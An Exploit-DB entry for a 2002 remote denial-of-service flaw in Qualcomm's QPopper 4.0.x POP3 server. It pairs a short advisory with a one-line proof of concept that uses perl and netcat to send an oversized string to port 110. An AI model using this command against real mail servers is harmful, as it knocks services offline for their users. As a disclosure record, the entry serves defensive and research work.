Qualcomm QPopper 4.0.x - Remote Denial of Service

EDB-ID:

21345


Author:

Jonas Frey

Type:

dos


Platform:

Unix

Date:

2002-03-15


source: https://www.securityfocus.com/bid/4295/info

Qualcomm's QPopper is a POP3 mail server for Linux and Unix based systems. Recent versions of QPopper have been released as open source projects.

A vulnerability has been reported in some versions of qpopper. Reportedly, if a string of longer than approximately 2048 characters is sent to the qpopper process, a denial of service condition will occur. 

perl -e '{print "A"x"2049"}' | netcat host.com 110